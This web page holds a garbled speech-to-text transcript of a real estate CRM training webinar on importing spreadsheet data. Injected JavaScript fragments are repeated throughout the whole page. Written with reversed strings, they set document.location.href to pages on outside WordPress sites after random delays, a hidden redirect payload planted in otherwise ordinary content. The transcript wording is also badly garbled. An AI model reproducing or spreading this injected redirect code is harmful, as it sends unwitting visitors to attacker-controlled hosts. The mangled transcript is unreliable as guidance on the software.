you can save your mouth by simply hitting save toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then

40:33

give it a name so in this case toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and was gonna call woman are

40:37

import ma’am but give it something descriptive seeing no with this

40:40

important app is later on down the line

40:42

you might end up with like five different spreadsheet formats he’s

40:44

pretty regularly

40:46

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and you might end up like I know I get confused

40:49

sometimes because I don’t really give the most useful names

40:54

so once you’ve got that name just go ahead toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and

40:57

it okay there toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then

41:00

ready toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to actually start the important this point some is gonna hit OK

41:04

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and first of its gonna show us a quick

41:07

synopsis of what’s being imported toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to go down the list the for sure you which

41:11

tables being imported intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to

41:13

which field with them at a table toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then for which record you’re not on so

41:17

in this case someone back toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 2005

41:19

with the value is for that saying kinda school truancy

41:23

what you should be value can be filled in with within are you a

41:27

here happy with the results here can hit next

41:30

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then this year we can select the options for how toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to import

41:33

beating you can select owner of who’s gonna own those property

41:37

are records that are important so this really only

41:40

the owner in trou pertaining multi-user virgins Afaria

41:44

if you’re single user those are pretty much never gonna change as that

41:48

just kinda determines who added the record toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and you can’t see the record

41:52

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then you can also have it important new records intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a specific group

41:56

so I’m actually gonna create a group toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and I’m in a minute webinar

42:00

1121 just so when we go back in

42:03

I intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to our database nets that women are weeping CDs records again toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and work with

42:08

them

42:09

so that allows you toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have all the new importer records but intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a group so you

42:13

can quickly toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and easily find them again

42:15

this but we hit max it’s rated import it next one more time this be

42:19

very fast but when you’re importing more abounds record

42:22

you prepared toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to walk away from a computer for a little bit as a can

42:25

definitely take a little while

42:27

so now we should be able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to go intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to our newly imported intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to database

42:31

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and see the various records so first off I’m gonna open up my properties

42:35

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and hope that I have one property in there

42:38

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and it turns out ideal Las Brisas shopping center

42:42

we see on the right side here the owner Joe john was linked

42:45

with all his information Joe’s name his company toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and address

42:50

his email address toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then we see the

42:53

transaction price was important the suite number we messed around with that

42:57

don’t that’s why we did that but then we click on spaces

43:01

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and we now see that there are five individual spaces somehow there are two

43:05

copies a suite 100 let’s just gonna happen sometimes I

43:09

in this case probably shoulda gone toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the spreadsheet more

43:13

in-depth but this is pretty easy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to clean up in REM I find out that like

43:17

Thompson videos actually might suite 101

43:19

so I there’s a lotta love like looking through cleaning up after the fact that

43:24

guy needs toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be done as well but

43:26

as you can see if we had a spreadsheet that had

43:30

750 different spaces in two hundred properties

43:34

we deceive ourselves hours upon hours data entry here

43:38

so each the property are the one property got imported toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and

43:42

each toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the tenants are linked toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to that property through the spaces

43:46

we see the square footage each individual space the tenant that

43:50

these that space when their lease expires so as you can see I’m using a

43:54

very old spreadsheet that

43:56

very outdated now probably should start using one that has your lease

43:58

expirations but

44:00

will this go with that toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then we should also see in the notes section

44:04

shoulda filled him with that weird string ’em the email address lease

44:08

expiration square footage

44:11

so that all looks good so I’m thats

44:14

pretty much are you import spreadsheets intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to your data bits

44:18

now it’s gonna be a little bit different doing it for like sales from parables

44:22

released in parables

44:23

action these girls will be remarkably similar it’ll just have an extra tab for

44:28

the the actual comp

44:31

sense me some parables are basically cops for space it’s

44:35

salesman parables are going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be a little bit more complicated version

44:37

properties

44:38

so it spreads its gonna be a little bit different toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and

44:43

gonna have its own unique challenges but for the most part

44:47

everything’s gonna be very similar I mean you’re you watch gonna be long

44:50

hideous more than it’s going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be difficult so

44:53

keeping that in mind is probably one of the main things I keep in mind when

44:57

doing imports going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to get myself in my city doing something very very

45:01

repetitive toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and tedious you up

45:04

it at the bay releases a lot less tedious than manually

45:08

adding the data so that is

45:12

all the time we have for toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today’s webinar we did go over quite a bit more than I

45:15

had anticipated

45:17

I will meet again on Tuesday of next week toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then also Wednesday of next

45:20

week sense

45:21

Thursday is Thanksgiving for those of us in the States

45:25

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and so I didn’t figure you’d all really wanna go on toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a webinar

45:31

before or specially after being filled up on a

45:34

delicious food stuffs so I will be meeting again Tuesday I

45:39

not are percent sure with the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topic is on that date all

45:42

checkin mom be absolutely ready for that on a tray get this webinar

45:45

be up loaded toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and put on toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toward

45:49

website so later this afternoon hopefully I will have

45:52

up anything just gotta go are you dot com toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and click on the

45:56

videos the training video section are get with video section there

46:00

ended should show up in the a little YouTube tiles

46:04

so thank you all for joining me toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today was a nice big for class they

46:08

give any questions buy anything we talk about anything you didn’t you can always

46:12

I get in toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}touch with tech support the email support

46:15

ago are you dot com toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then you can also check you this phone call

46:18

out 858 729 01

46:22

by four extension toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to you they saw love you toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and I will be continuing on this i

46:26

think is an eight-part miniseries

46:28

a on Tuesday November

46:31

bullet 26 I believe yet 26

46:35

thanks toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and hope you all have a wonderful w

Blog

20

Real Estate Assistant – REA 9 Commercial Real Estate CRM Software – Video Training Series #7

How To Populate Properties, Spaces & Contacts by Importing Excel Spreadsheets Video Transcript

Leave a Reply Cancel reply